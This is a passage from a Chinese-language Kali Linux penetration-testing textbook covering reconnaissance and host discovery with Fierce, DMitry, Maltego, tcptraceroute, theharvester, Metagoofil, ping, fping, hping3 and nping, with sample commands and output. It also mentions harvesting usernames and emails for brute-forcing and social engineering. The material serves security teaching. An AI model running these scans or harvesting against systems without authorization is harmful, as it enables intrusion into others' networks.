192.168.117.50 dev.example.com

192.168.117.16 mx1.example.com

192.168.117.17 mx2.example.com

192.168.117.18 mx3.example.com

192.168.117.16 imap.example.com

192.168.117.5 www.example.com

192.168.117.6 intra.example.com

192.168.117.17 mail.example.com

192.168.117.5 web.example.com

192.168.117.16 webmail.example.com

Subnets found (may want to probe here using nmap or unicornscan):

192.168.73.0-255 : 2 hostnames found.

192.168.46.0-255 : 1 hostnames found.

192.168.116.0-255 : 34 hostnames found.

192.168.117.0-255 : 25 hostnames found.

Done with Fierce scan: http://ha.ckers.org/fierce/

Found 62 entries.

Have a nice day.

fierce进行DNS枚举的耗时可能会比较长。

上述篇幅介绍了搜索某个域的主机名称的多种方法。您可能会对主机名的作用产生疑问。在渗透测试项目里,只要能够在DNS分析阶段找到主机名称,就可以对该主机进行测试。

4.3.6 DMitry

DMitry(Deep Magic Information Gathering Tool)属于多功能的信息收集工具。它收集信息的主要方式可分为:

● 根据IP 地址(或域名)来査询目标主机的whois 信息;

● 在Netcraft.com 的网站上挖掘主机信息;

● 査找目标域中用的子域;

● 査找目标域的电子邮件地址;

● 探测目标主机上打开的端口、被屏蔽的端口和关闭的端口。

尽管 Kali Linux 中的很多工具都可以部分获取这些信息,但是 DMitry 更为方便。它整合了这些工具,能够在同一个报告里记录多种工具才能获取到的所有信息。

实际上 DMitry 不仅具有 DNS 分析功能,还有路由分析功能。但是我们认为这个工具更侧重与DNS分析,所以把它归到了DNS类工具。

如需通过图形界面启动DMitry,可通过菜单依次选中Applications|KaliLinux|Information Gathering | OSINTAnalysis | dmitry。您也可以在终端窗口里通过下述指令启动它。

# dmitry

本例将使用DMitry程序依次完成下述任务:

● 进行whois 査询;

● 从Netcraft.com 的网站上收集相关信息;

● 捜索所有可能的子域;

● 搜索所有可能的电子邮件地址。

下面这个指令即可完成全部上述功能。

# dmitry -iwnse targethost

该指令的返回结果如下。

Deepmagic Information Gathering Tool

"There be some deep magic going on"

HostIP:192.168.xx.xx

HostName:targethost

Gathered Netcraft information for targethost

--------------------------------

Retrieving Netcraft.com information for targethost

No uptime reports available for host: targethost

Gathered Subdomain information for targethost

--------------------------------

Searching Google.com:80...

HostName:targethost

HostIP:192.168.xx.xx

HostName:www.ecom.targethost

HostIP:192.168.xx.xx

HostName:blogs.targethost

HostIP:192.168.xx.xx

HostName:static.targethost

HostIP:192.168.xx.xx

HostName:webmail.targethost

HostIP:192.168.xx.xx

...

Gathered E-Mail information for targethost

--------------------------------

Found 0 E-Mail(s) for host targethost, Searched 0 pages containing 0

results

DMitry程序还可以作简单的端口扫描,所需指令如下。

# dmitry -p targethost -f -b

扫描结果如下。

Deepmagic Information Gathering Tool

"There be some deep magic going on"

HostIP:192.168.xx.xx

HostName:targethost

Gathered TCP Port information for 192.168.xx.xx

Port   State

...

80/tcp   open

...

135/tcp  filtered

136/tcp  filtered

137/tcp  filtered

138/tcp  filtered

139/tcp  filtered

Portscan Finished: Scanned 150 ports, 138 ports were in state closed

从上述的扫描结果可以看出,targethost 使用了某种包过滤设备。它只允许连接到该主机的80端口,这个端口通常由Web服务器占用。

4.3.7 Maltego

Maltego是开源的情报收集程序和法证调查程序。它能够以一种人性化的方式挖掘、收集并整理信息。Maltego的开源意味着它从公开的资源里收集信息。在收集信息之后,您可使用Maltego标注各种信息之间的关联。

Maltego 能够以图形化的方式显示数据之间的关联。在分析信息片段各方面的共同性时,这种可视化功能可使工作变得简单。

Maltego可以收集以下几种网络信息:

● 域名;

● DNS 名;

● whois 信息;

● 网段;

● IP 地址。

它还可以用来收集与人有关的信息,例如:

● 某人所在公司或所在组织;

● 与某人有关的E-mail 地址;

● 与某人有关的网站;

● 与某人有关的社交网站;

● 与某人有关的电话号码。

Kali Linux 自带的Maltego应当是Maltego 3.3.0 Kali Linux 版。这属于社区版本,它存在一些功能上的限制。详细的限制可参见 http://www.paterva.com/web5/client/community.php。简而言之,这种版本限制分为:

● 不可用于商业用途;

● 每次转换(transform)最多返回转换结果中的12 项;

● 用户需要先在官方网站上注册,才能使用客户端程序;

● API key有效期仅为数天;

● 它与社区版的其他用户共享一台性能并不出色的服务器;

● 客户端和服务器端的通信是不加密的;

● 只能升级到主要发行版;

● 没有客户支持;

● 服务器端的转换功能不会更新。

Maltego具有70多种转换功能。所谓转换(transform)就是信息收集的一个阶段。Maltego每做一次转换就是在做一个阶段的信息收集工作。

如需使用 Maltego,可在图形菜单里依次选中 Kali Linux | Information Gathering |OSINTAnalysis | maltego,或者在终端中使用下述指令。

# maltego

而后您将看到它的欢迎信息(见图4.4)。数秒钟之后,程序会启动Maltego设置向导,以帮助您在第一次运行它的时候进行客户端设置。

figure_0104_0043

图4.4

点击Next后进入图4.5所示的界面。

figure_0105_0044

图4.5

此时您需要输入登录Maltego社区的账号信息。如果您没有社区账号,可点击register here链接,在官方网站上进行注册。

注册页面如图4.6所示。

figure_0105_0045

图4.6

在空白处填写相关信息之后,点击Register!按钮完成注册。

如果您有Maltego账号,在程序里输入正确的登录信息就可进入图4.7所示的界面。

figure_0106_0046

图4.7

接下来要设置Maltego转换的种子(seed),如图4.8所示。

figure_0106_0047

图4.8

此后Maltego客户端程序会连接Maltego服务器,以获取转换所需的信息。如果上述设置都设置正确,您将看到图4.9所示的界面。

figure_0107_0048

图4.9

如果出现了上述界面,就说明 Maltego 成功完成了初始化操作。您现在就可以使用Maltego客户端程序。

在介绍Maltego的各种使用方法之前,我们先熟悉一下程序的界面(见图4.10)。

figure_0107_0049

图4.10

程序窗口的左上角是 Palette(控制面板)窗口。您可以在这个窗口里选择不同实体(entity)类型的对象目标。Maltego的实体类型分为6组。

● 设备(Device):例如电话、照相机。

● 基础设施(Infrastructure):例如 AS、DNS 名称、域名、IPv4 地址、MX 记录、NS记录、网段、URL和网站。

● 地点(Locations):例如地球。

● 渗透测试(Penetration testing):采用各种技术的测试项目。

● 个人(Personal):别名、文件、E-mail 地址、图像、人物、电话号码和短语。

● 社交网络(Social Network):包括Facebook 和Twitter 实体、好友关系等。

图4.10顶部的中间部分,分别是Main View(主视图)、Bubble View(气泡图)和Entity List(实体清单)。分析人员应该在大图里标注数据之间的各种关系,而他们可在这三种视图里查看那些在大图中不明显的信息。Main View是常规工作视图,Bubble View把信息节点显示为气泡,而Entity List 则把节点显示为文本。

在视图旁边的几个图表分别代表不同的布局算法(layout algorithm)。Maltego 支持4种布局算法。

● 块状布局(Block layout):信息挖掘的默认布局。

● 分层布局(Hierarchical layout):类似文件管理器的树状布局。

● 中心布局(Centrality layout):靠近中心的节点围绕中心进行分布,其他节点分散在四周。

● 紧凑布局(Organic layout):节点分布距离尽量紧凑,每个节点与其他节点之间的距离尽量保持最短。

熟悉过程序界面之后,我们开始演示它的功能。

本文以example.com为例,演示收集某个域的信息的具体方法。

我们首先使用快捷键(Ctrl-T)创建新的工作图(graph)。在Palette标签里选Infrastructure,然后点击 Domain。把对象拖曳到主窗口。如果操作成功,您将在主窗口里看到名为paterva.com的域对象。双击这个名称,把它重新命名为目标域;在本例中,我们给它重命名为example.com。

figure_0109_0050

图4.11

右键点击这个域名,可看到可以应用的转换操作:

● DNS from domain(获取DNS 信息);

● Domain owner's details(域注册人信息);

● E-mail addresses from domain(E-mail 地址);

● Other transforms(其他转换,包括To Person、To Phone numbers、To Website);

● Files and documents from domain(文档操作);

● All transforms(查看所有转换)。

我们在菜单里选中Run Transform | Other Transforms | Domain To DNS NameSchema,转换结果如图4.12所示。

进行DNS from domain转换后,可收集网站地址和该域有关的DNS 信息。

您还可以进行其他转换。

如果您要更改测试对象为其他域,应当保存当前工作图。保存工作图的具体方法是,点击Maltego图标,然后选择Save。工作图将被以Maltego工作图的格式保存为.mtgx文件。然后,可双击现有的域对象,更改域名。

figure_0110_0051

图4.12

下一节将介绍几个收集路由信息的程序。

4.4 路由信息

获取网络路由信息的工具各种各样,本章将介绍几种常用工具。网络路由信息可以帮助测试人员了解自己的主机到目标主机之间的网络通信路径,进而理解目标主机的网络情况。保护目标主机的防火墙信息,往往也暗藏于路由信息里。

本节将介绍几款用于获取路由信息的工具。

4.4.1 tcptraceroute

tcptraceroute是traceroute程序的补充工具。传统的traceroute程序在其发送的UDP 或ICMP echo 数据包里,设置有特定的TTL(Time To Live)标志位。它把TTL的值从1开始递增,直到数据包到达目标主机为止。而tcptraceroute则是使用TCP数据包进行测试,它利用TCP SYN(握手请求)数据包进行路由信息探测。

相比其他程序,tcptraceroute 的优点在于其较高的通过率。如果在渗透测试人员和目标主机之间的防火墙禁止traceroute数据通过,那么traceroute指令就完全发挥不了作用。但是只要防火墙允许访问目标主机的特定TCP端口,就可以使用tcptraceroute程序穿过防火墙到测试目标主机。

在使用 tcptraceroute 时,如果相应的目标端口是开放的(open),程序将会收到SYN/ACK数据包;而如果目标端口是关闭的,那么它会收到一个RST数据包。

要使用tcptraceroute,只需在终端里使用下述指令。

# tcptracaroute

这条指令会在屏幕上提示tcptraceroute的使用方法。

现在我们来演示它的用法。

我们使用下述指令以获取本机与example.com主机之间的路由信息。

# traceroute www.example.com

该指令的返回结果如下。

traceroute to www.example.com (192.168.10.100), 30 hops max, 40 byte packets

1 192.168.1.1 (192.168.1.1) 8.382 ms 12.681 ms 24.169 ms

2 1.static.192.168.xx.xx.isp (192.168.2.1) 47.276 ms 61.215 ms

61.057 ms

3 * * *

4 74.subnet192.168.xx.xx.isp (192.168.4.1) 68.794 ms 76.895 ms

94.154 ms

5 isp2 (192.168.5.1) 122.919 ms 124.968 ms 132.380 ms

...

15 * * *

...

30 * * *

在第15个结果之后,就再也没有返回任何路由信息了。通常这是因为 traceroute的数据包被网络里的包过滤设备屏蔽了。

下面我们来使用tcptraceroute。假如我们事先知道目标主机为Web服务器开放了TCP协议的80端口,那么就可以使用下述指令。

# tcptraceroute www.example.com

返回的结果如下。

Selected device eth0, address 192.168.1.107, port 41884 for outgoing packets

Tracing the path to www.example.com (192.168.10.100) on TCP port 80

(www),    30 hops max

1 192.168.1.1 55.332 ms 6.087 ms 3.256 ms

2 1.static.192.168.xx.xx.isp (192.168.2.1) 66.497 ms 50.436

ms 85.326 ms

3 * * *

4 74.subnet192.168.xx.xx.isp (192.168.4.1) 56.252 ms 28.041 ms

34.607 ms

5 isp2 (192.168.5.1) 51.160 ms 54.382 ms 150.168 ms

6 192.168.6.1 106.216 ms 105.319 ms 130.462 ms

7 192.168.7.1 140.752 ms 254.555 ms 106.610 ms

...

14 192.168.14.1 453.829 ms 404.907 ms 420.745 ms

15 192.168.15.1 615.886 ms 474.649 ms 432.609 ms

16 192.168.16.1 [open] 521.673 ms 474.778 ms 820.607 ms

这一次,我们的数据包成功到达了目标主机,并且给出了测试机与目标主机之间的完整路由信息。

4.4.2 tctrace

我们同样可以选用 tctrace 程序分析路由信息。这个程序通过向目标主机发送 TCP SYN数据包来获取相应信息。

如需使用tctrace程序,可在终端中使用下述指令。

# tctrace -i<device> -d<targethost>

参数中的<device>指的是网卡接口,<targethost>则是被测试的目标主机。

例如,我们可以使用下述指令获取本机和www.example.com之间的路由信息。

# tctrace -i eth0 -d www.example.com

该指令的返回结果如下。

1(1) [192.168.1.1]

2(1) [192.168.2.1]

3(all) Timeout

4(3) [192.168.4.1]

5(1) [192.168.5.1]

6(1) [192.168.6.1]

7(1) [192.168.7.1]

...

14(1) [192.168.14.1]

15(1) [192.168.15.1]

16(1) [192.168.16.1] (reached; open)

4.5 搜索引擎

Kali Linux 中的捜索引擎类工具可以使用搜索引擎获取目标主机的域名信息、电子邮件信息,以及文件的元数据(metadata)信息。这些工具被动收集的工作方式也正是它们的优势所在。如果您无法访问目标主机上的网站,不妨利用搜索引擎间接访问。就其结果而言,目标主机不会知道您具体进行了哪些操作。

4.5.1 theharvester

theharvester能够收集电子邮件账号、用户名和主机名/子域名信息。它通过数个公共资源搜索所需的信息。2.2版theharvester用到的公开资源如下所示。

● 谷歌(Google)

● 必应(Bing)

● PGP

● Linkedin

● Yandex

● People123

● Jigsaw

● Shodan

如需在Kali Linux 中使用theharvester,可在终端中使用如下指令。

# theharvester

程序会在屏幕上提示该工具的使用方法。

例如,如果想从谷歌的前 100 项搜索结果里挖掘目标域里的电子邮件地址和主机名,可使用下述指令。

# theharvester -d example.com -l 100 -b google

程序搜索到的E-mail地址和主机名如下。

[-] Searching in Google:

Searching 0 results...

[+] Emails found:

-----------------

info@example.com

user1@example.com

user2@example.com

user3@example.com

[+] Hosts found in search engines:

-----------------------------------

192.168.118.14:sd1.example.com

192.168.118.14:sd2.example.com

192.168.118.14:event.example.com

192.168.118.14:test.example.com

203.34.118.7:nms.example.com

上述结果里含有多个E-mail地址和数个主机名,这都是theharvester通过Google搜索引擎收集到的信息。

如果需要收集其他信息,例如用户名等信息,我们可以指定程序使用linkedin.com。具体指令如下。

# theharvester -d example.com -l 100 -b linkedin

该指令的返回结果如下。

[-] Searching in Linkedin..

Searching 100 results..

Users from Linkedin:

user1

user2

user3

user4

user5

user6

Total results: 6

从Linkedin.com网站上搜索到的目标域的用户名,将在后期的渗透测试阶段发挥作用。如果测试人员要发起社会工程学攻击之类的渗透,就会需要这些信息。

4.5.2 Metagoofil

Metagoofil通过谷歌引擎搜索目标域的文件的元数据信息(metadata)。目前,它支持的文件格式有:

● Word 文档(.docx、.doc);

● 表格文件(.xlsx、.xls、.ods);

● 演示文档(.pptx、.ppt、.odp);

● PDF 文件(.pdf)。

在获取元数据信息时,Metagoofil的内部操作过程大体如下:

● 使用Google 引擎在目标域内搜索指定的文件类型;

● 把搜索到的文档保存到本地磁盘;

● 从下载的文件中解析元数据信息;

● 把元数据信息的分析结果保存为HTML 文件。

我们可以在元数据信息里找到的信息有:

● 用户名;

● 软件版本;

● 服务器名或机器名。

渗透测试的后期阶段可能会用到这些信息。

要访问Metagoofil,在终端中执行如下命令:

# metagoofil

这将显示该命令的使用方法和示例。

我们通过一个例子进行详细的用法说明。现在,我们要从目标域(-d example.com)里搜索DOC 文件和PDF 文件(-t .doc, .ipdf),并保存到test 目录里(-o test)。对于每种类型的文件,我们都要收集 20 个(-l 20)。我们希望这个程序只下载 5 个文件(-n 5),并将最终处理结果保存为test.html(-f test.html)。结合以上参数,我们应当使用的指令如下。

# metagoofil -d example.com -l 20 -t doc,pdf –n 5 -f test.html -o test

该指令的返回结果如下。

[-] Starting online search...

[-] Searching for doc files, with a limit of 200

Searching 100 results...

Searching 200 results...

Results: 191 files found

Starting to download 5 of them:

---------------------------------------

[1/5] /support/websearch/bin/answer.py?answer=186645&amp;%20

form=bb&amp;hl=en

Error downloading /support/websearch/bin/answer.

py?answer=186645&amp;%20form=bb&amp;hl=en

[2/5] http://www.example.com/documents/customerevidence/27402_

Cakewalk_final.do

[3/5] http:// www.example.com/documents/customerevidence/5588_

marksspencer.doc

[4/5] http:// www.example.com/documents/uk/Ladbrokes.doc

[5/5] http:// www.example.com/~Gray/papers/PITAC_Interim_Report 8_98.doc

[-] Searching for pdf files, with a limit of 200

Searching 100 results...

Searching 200 results...

Results: 202 files found

Starting to download 5 of them:

---------------------------------------

[1/5] /support/websearch/bin/answer.py?answer=186645&amp;%20

form=bb&amp;hl=en

Error downloading /support/websearch/bin/answer.

py?answer=186645&amp;%20form=bb&amp;hl=en

[2/5] http:// www.example.com/pubs/77954/sl021801.pdf

[3/5] http:// www.example.com/pubs/152133/deepconvexnetwork

interspeech2011-pub.pdf

[x] Error in the parsing process

[4/5] http:// www.example.com/en-us/collaboration/papers/uruguay.pdf

[5/5] http:// www.example.com/pubs/63611/2002-droppo-icslpb.pdf

[+] List of users found:

-------------------------

Benjamin Van Houten

Marketing

IT

May Yee

sarah condon

clarel

Jim Gray

[+] List of software found:

----------------------------

Microsoft Office Word

Microsoft Word 10.0

Microsoft Word 9.0

Microsoft Word 8.0

Acrobat Distiller 5.0.5 (Windows)

Adobe PDF Library 8.0

Adobe InDesign CS3 (5.0.2)

[+] List of paths and servers found:

--------------------------------------

'Macintosh HD:Temporary Items:AutoRecovery save of Congressio'

'NCO Server:Staff (NCO Staff):Yolanda Comedy:IR22July:IR10Aug'

'C:\jim\HPCC\PACIT_Report_8_98.doc'

[+] List of e-mails found:

---------------------------

gzweig@mail.example.com

程序找到了很多文件,并从中收集到了大量诸如用户名和文件路径的信息。我们可以通过这些用户名穷举目标域里的用户名,进而使用字典暴力破解(在目标域中存在的)用户名的密码。需要小心的是,如果对目标域里的用户名进行暴力破解,可能会造成账号锁定的情况。此外,我们可以根据路径信息推测目标主机的操作系统。可见,我们完全可以在不直接访问目标域的网址的情况下获取上述信息。

Metagoofil 能够以报告格式生成汇总信息。例如,若把报告文件储存为 HTML 格式文件,我们可看到图4.13所示的内容。

figure_0118_0052

图4.13

这个报告含有目标域的用户名、软件版本、E-mail地址和服务器信息。

4.6 本章总结

本章介绍了信息收集阶段的渗透测试工作。这个阶段的工作通常是渗透测试里最先进行的工作。在这个阶段,我们要尽可能地收集目标组织的信息。越是了解测试目标,测试的工作就越是容易。著名的《孙子兵法》认为:

知己知彼,百战百胜。

这句话揭示了渗透测试领域的奥秘。

本章介绍了Kali Linux 里的信息收集工具。本章首先介绍了通过公开网站收集目标单位信息的方法,而后介绍了使用软件获取域注册信息的方法,还介绍了可收集路由信息的工具,以及利用搜索引擎来收集信息的工具。

下一章我们将介绍目标识别。

第5章 目标识别

Kali Linux 的很多工具都可用于在目标网络里发现、识别主机。本章将介绍这些软件的使用方法。这部分内容分为以下几个主题:

● 目标识别过程的简介;

● 使用Kali Linux 的工具识别目标主机的方法;

● 鉴定目标主机操作系统的方法(操作系统指纹识别)。

为了更容易地理解这些概念,我们将使用一个虚拟网络作为目标网络。

5.1 简介

在利用第三方工具(如搜索引擎)获取目标网络的信息之后,接下来就要识别出目标系统里联网的主机。这阶段的主要目标如下。

● 在目标网络里搜索在线的主机。如果某台主机不在线,我们就无法对其进行渗透测试;此时就需要另找一台在线的主机进行渗透测试。

● 鉴定目标机器上安装的操作系统。

获取这些信息有助于后期漏洞映射阶段的工作。

我们使用Kali linux 系统里的工具进行目标识别。桌面菜单中的Information Gathering收录了绝大多数的目标识别工具。本文只需要关注其下的两个子菜单里的程序:

● Identify Live Hosts(识别在线主机);

● OS Fingerprinting(识别操作系统)。

本章从这两个类别的诸多程序中依照其功能、认可度、开发活跃度,选择性地介绍、演示几款工具。

5.2 识别目标主机

子菜单Identify Live Hosts下的工具可用于判断目标主机是否可被测试人员访问。在开展识别阶段的工作之前,我们需要仔细查看我们与客户达成的协议和服务条款。如果服务协议要求我们隐匿渗透测试的行为,我们就要进行相应的隐藏测试。另外,在测试入侵监测系统和入侵防御系统时,我们同样需要使渗透测试的行动不被发现。如果客户没有这种要求,就没有必要进行隐匿的测试了。

5.2.1 ping

在检査主机是否在线的工具中,ping 可能是最著名的程序了。该工具向目标主机发送ICMP协议(Internet Control Message Protocol)的echo request 数据包。如果目标主机在线且允许受理ping 请求,那么目标主机将回复ICMP echo reply数据包。

ICMP协议的echo request(请求)和echo reply(回复)消息只是ICMP协议的两种类型的消息。如需了解ICMP协议的其他类型消息,请参见https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol#Control_messages。

Kali Linux 的菜单里没有列出ping 程序。所以我们要在终端中输入ping 命令并配置好它的选项。

如图5.1所示,我们可以在ping指令之后直接指定目标地址。

figure_0120_0053

图5.1

在Kali Linux 里,默认情况下在按下Ctrl-C 之前,ping 指令会一直运行下去。

ping有很多的选项,最常用的是有下面这些。

● -c count:发送echo request 数据包的总量。

● -I interface address:设置源地址或网络接口。该参数可以是 IP 地址(例如192.168.56.102)或网卡设备的名称(例如eth0)。如果您要ping IPv6 链路本地地址,那么必须指定这个选项。

● -s packet size:每个数据包的包大小(字节数)。默认值是 56。再算上 IPv4中8字节的ICMP包头,默认情况下发送的数据包会是64字节的数据包。

假如您在进行内部渗透测试项目,客户会给您拉好网线以便于您访问他们的内网。他们还会给您目标服务器的IP地址。

在全面测试之前,第一件事情就是要确定您是否可以从本机访问到目标服务器。此时可以使用ping指令。

假如目标主机的IP地址是192.168.56.102,您的电脑的IP地址是192.168.56.101。在测试是否可以访问到目标主机时,可使用下述指令。

ping -c 1 192.168.56.102

ping指令的目标主机参数,可以是IP地址,也可以是主机名。

上述指令的返回结果如图5.2所示。

figure_0121_0054

图5.2

上述信息表明:ping指令只向目标主机(IP地址为192.168.56.102)发送了1个ICMP echo request;发送请求的主机(IP 地址为192.168.56.101)也只收到了1 个ICMP echo reply;请求和回复之间的往返时间是1.326ms;期间没有丢失数据包。

我们观察一下本机发送和接受的数据。我们使用带有网络协议分析功能的 Wireshark程序在主机上捕获数据包,可看到如图5.3所示的情况。

figure_0122_0055

图5.3

从中可以看出,我们自己的主机(192.168.56.101)向目标主机(192.168.56.102)发送了一个ICMP echo request数据包。因为目标主机在线且允许受理ICMP echo request数据包,它向我们的主机发送回ICMP echo reply数据包。

10.4节将详细介绍Wireshark程序。

如果目标主机使用的是 IPv6 地址,例如 fe80::a00:27ff:fe43:1518,您可以使用ping6程序检测它是否在线。您需要指定-I选项,设定发送数据包的本地连接。

# ping6 -c 1 fe80::a00:27ff:fe43:1518 -I eth0

PING fe80::a00:27ff:fe43:1518(fe80::a00:27ff:fe43:1518) from

fe80::a00:27ff:fe1c:5122 eth0: 56 data bytes

64 bytes from fe80::a00:27ff:fe43:1518: icmp_seq=1 ttl=64 time=4.63 ms

--- fe80::a00:27ff:fe43:1518 ping statistics --

1 packets transmitted, 1 received, 0% packet loss, time 0ms

rtt min/avg/max/mdev = 4.633/4.633/4.633/0.000 ms

ping6指令的通信过程如图5.4所示。

figure_0122_0056

图5.4

从上面输出可以看出,ping6 程序使用的是ICMPv6 协议的ICMPrequest 和reply数据包。

如需屏蔽ping 请求的数据包,可在防火墙里配置ICMP echo request 的白名单,并屏蔽来自其他IP 地址的ICMP echo request 数据包。

5.2.2 arping

arping 是在局域网中使用ARP(Address Resolution Protocol)请求判断目标主机是否在线的工具。您可以用IP地址或MAC地址作为它的测试目标。

因为arping程序工作于OSI模型中的第二层,ARP协议的数据包无法通过路由器和网关,所以它只能检测本地局域网络中的主机。

如需启动arping程序,可在终端中使用下述命令。

#arping

该指令显示所有的选项及使用方法。

我们使用arping程序判断某MAC地址的主机是否在线。

# arping 192.168.56.102 -c 1

ARPING 192.168.56.102

60 bytes from 08:00:27:43:15:18 (192.168.56.102): index=0 time=518.223usec

--- 192.168.56.102 statistics --

1 packets transmitted, 1 packets received, 0% unanswered (0 extra)

上述指令检测MAC地址为08:00:27:43:15:18的主机是否在线。

我们使用Wireshark观察arping运行期间的网络数据(见图5.5)。

figure_0123_0057

图5.5

可从图5.5中看出,本机的网卡(MAC 地址为08:00:27:1c:51:22)发送了ARP广播(接受方MAC地址为ff:ff:ff:ff:ff:ff),询问192.168.56.102的MAC地址。如果这个IP地址存在,该主机将其MAC地址(08:00:27:43:15:18)通过ARP协议进行回复;即返回图5.5中第2个数据包。

如果没有任何一台主机占用指定的IP地址,我们也不会受到ARP协议的回复数据,如图5.6所示。

figure_0123_0058

图5.6

基于以上特性,arping程序还常常用于判断某个IP地址是否被同一个局域网内的主机占用。假如您的主机通常使用192.168.56.101这个IP地址,某天您想要换一个IP地址。那么,在更换IP地址之前,应当检查该IP地址是否被其他主机占用了。

此时可以使用下述arping指令检测192.168.56.102是否被他人占用。

# arping -d -i eth0 192.168.56.102 -c 2

# echo $?

1

如果返回值是1,则说明192.168.56.102这个IP已经被占用了。如果返回值是0,则说明该IP没有被占用。

5.2.3 fping

与ping 程序相比,fping 可以同时向多个主机发送ping(ICMP echo)请求。您可以在命令行中指定多个目标主机,也可以在某个文件里指定需要被检测的主机。

默认模式下,fping 程序通过目标主机的回复来判断该主机是否在线。如果目标主机发送了回应,该主机将会被标记为alive(在线):如果主机在一段时间内(超时或超过尝试次数)没有进行响应,该主机则会被标记为unreachable(不可访问)。默认情况下, fping 将尝试向每个目标发送三次ICMP echo 数据包。

如需使用fping程序,可在终端中执行下述指令。

#fping -h

上述指令将显示程序的所有选项及使用方法。

下面将介绍fping程序的几种不同用法。

● 如果需要同时检测地址为192.168.1.1、192.168.1.100 和192.168.1.107的主机是否在线,我们可以使用下述指令。

#fping 192.168.1.1 192.168.1.100 192.168.1.107

上述指令的返回结果如下。

192.168.1.1 is alive

192.168.1.107 is alive

ICMP Host Unreachable from 192.168.1.112 for ICMP Echo sent to

192.168.1.100

ICMP Host Unreachable from 192.168.1.112 for ICMP Echo sent to

192.168.1.100

ICMP Host Unreachable from 192.168.1.112 for ICMP Echo sent to

192.168.1.100

192.168.1.100 is unreachable

● 如果不想逐 IP 地指定目标主机,我们可以指定目标主机的列表。假设我们知道192.168.56.0这个网段里有需要检测的目标主机,就可以直接使用-g选项(生成列表)对整个网段进行检测。

# fping -g 192.168.56.0/24

上述指令的返回结果如下。

192.168.56.101 is alive

192.168.56.102 is alive

ICMP Host Unreachable from 192.168.56.102 for ICMP Echo sent to 192.168.56.2

ICMP Host Unreachable from 192.168.56.102 for ICMP Echo sent to 192.168.56.3

ICMP Host Unreachable from 192.168.56.102 for ICMP Echo sent to 192.168.56.4

ICMP Host Unreachable from 192.168.56.102 for ICMP Echo sent to 192.168.56.5

ICMP Host Unreachable from 192.168.56.102 for ICMP Echo sent to 192.168.56.6

...

192.168.56.252 is unreachable

192.168.56.253 is unreachable

192.168.56.254 is unreachable

● 如需改变探测目标主机的重试次数,则可在指令之中使用-r 选项(retry limit)。默认情况下,重试次数是3次。

#fping -r 1 -g 192.168.1.1 192.168.1.10

上述指令的返回结果如下。

192.168.1.1 is alive

192.168.1.10 is alive

192.168.1.2 is unreachable

...

192.168.1.9 is unreachable

● 如需査看多个目标的统计结果,可以使用-s 选项(打印累积统计)。

#fping -s www.yahoo.com www.google.com www.msn.com

上述指令的返回结果如下。

www.google.com is alive

www.yahoo.com is alive

www.msn.com is unreachable

3 targets

2 alive

1 unreachable

0 unknown addresses

4 timeouts (waiting for response)

6 ICMP Echos sent

2 ICMP Echo Replies received

0 other ICMP received

51.6 ms (min round trip time)

231 ms (avg round trip time)

411 ms (max round trip time)

4.150 sec (elapsed real time)

5.2.4 hping3

hping3程序是命令行下的网络数据包生成和分析工具。在TCP/IP测试和安全测试里,例如在端口扫描、防火墙规则测试、网络性能测试时,都可以使用这个程序生成自定义的网络数据包,从而进行相应测试。

hping3 的研发团队在官方网站上(http://wiki.hping.org/25)说明了它的主要用途:

● 测试防火墙规则;

● 测试入侵检测系统/IDS;

● 测试TCP/IP 模式的安全漏洞。

如需启动hping3程序,可在终端中输入hping3指令。

您可以通过命令行、互动界面、脚本的方式执行hping3。

在不指定任何参数的情况下,直接运行hping3将向TCP的0号端口发送空数据。

如需改变通信协议,可参照下述表格更改相应选项。

figure_0127_0059

在发送TCP数据包时,我们可以不设置任何TCP标识(默认情况),还可以参考下述表格指定特定TCP标识。

figure_0127_0060

这个程序有下面几种不同的使用方法。

● 如果要向192.168.56.101 发送1个ICMP echo 请求,就要设置-1选项(使用ICMP协议)和-c 1选项(发送1次)。

hping3 -1 192.168.56.101 -c 1

上述指令的返回结果如图5.7所示。

figure_0127_0061

图5.7

在图5.7 中,我们注意到目标主机在线,它回复了ICMP echo 请求。

要验证这一结果,我们可用tcpdump程序捕获网络数据,结果如图5.8所示。

figure_0128_0062

图5.8

可见目标主机的确发送了ICMP echo 回复数据包。

● 除了命令行方式之外,我们可以直接输入hping3,进入它的互动界面。您将会看到提示符,可在此使用Tcl指令。

如需了解Tcl的详细指令,请参见:

http://www.invece.org/tclwise/

http://wiki.tcl.tk/

要实现前一个例子的功能,我们可以使用下述Tcl脚本。

hping send {ip(daddr=192.168.56.101)+icmp(type=8,code=0)}

新建一个终端窗口,然后使用下述指令接收目标服务器的响应。

hpingrecv eth0

在此之后,我们在其他终端窗口里使用上述Tcl脚本,具体情况如图5.9所示。

figure_0128_0063

图5.9

● 您还可以使用hping3 检验防火墙规则。假设您的防火墙规则如下:

○ 接受(ACCEPT)所有到TCP 22 端口的数据;

○ 接受所有现存(established)连接;

○ 丢弃(DROP)其他数据包。

验证防火墙规则时,可以使用hping3 程序发送ICMP echo 请求。

hping3 -1 192.168.56.101 -c 1

上述指令的返回结果如下。

HPING 192.168.56.101 (eth0 192.168.56.101): icmp mode set, 28

headers + 0 data bytes

--- 192.168.56.101 hping statistic --

1 packets transmitted, 0 packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

可见目标主机没有对我们的ping进行响应。

如图5.10 所示,我们向目标主机的TCP 22 端口发送一个带有SYN 标识的TCP 包。

figure_0129_0064

图5.10

上述信息表明:目标主机接受了刚才我们发送到22端口的带SYN标识的TCP包。

然后,我们测试它的UDP 22 端口(见图5.11)。

figure_0129_0065

图5.11

根据图5.11,我们可确定目标主机的防火墙不接受到22端口的UDP数据包。hping3的功能很多。但是本章只简单介绍了 hping3 的一小部分功能。如果您需要详细了解这个程序,请参见hping3的官方文件:http://wiki.hping.org。

5.2.5 nping

nping允许用户发送多种协议(TCP、UDP、ICMP和ARP协议)的数据包。您可以调整协议头中的字段,例如可设置TCP和UDP的源端口和目的端口。nping和其他类似工具的区别,如nping程序和ping程序之间的区别相似,nping可以探测多个主机的多个端口。

此外,它可以像ping 程序一样发送ICMP echo 请求。nping 还可以用于对网络进行压力测试、ARP中毒、DoS攻击。

在Kali Linux 中,nping 程序是Nmap 程序包的一部分。

nping支持多种探测模式,其对应的具体参数如下。

figure_0130_0066

在编写本书时,还不能通过Kali Linux 的图形化菜单启动nping 程序。所以您得在终端中执行nping命令才能启动它。该命令将显示它的使用方法和选项介绍。

如需向多个目标主机(192.168.56.100、192.168.56.101和192.168.56.102)发送ICMP echo 请求,可使用下述指令。

nping -c 1 192.168.56.100-102

上述指令的返回结果如图5.12所示。

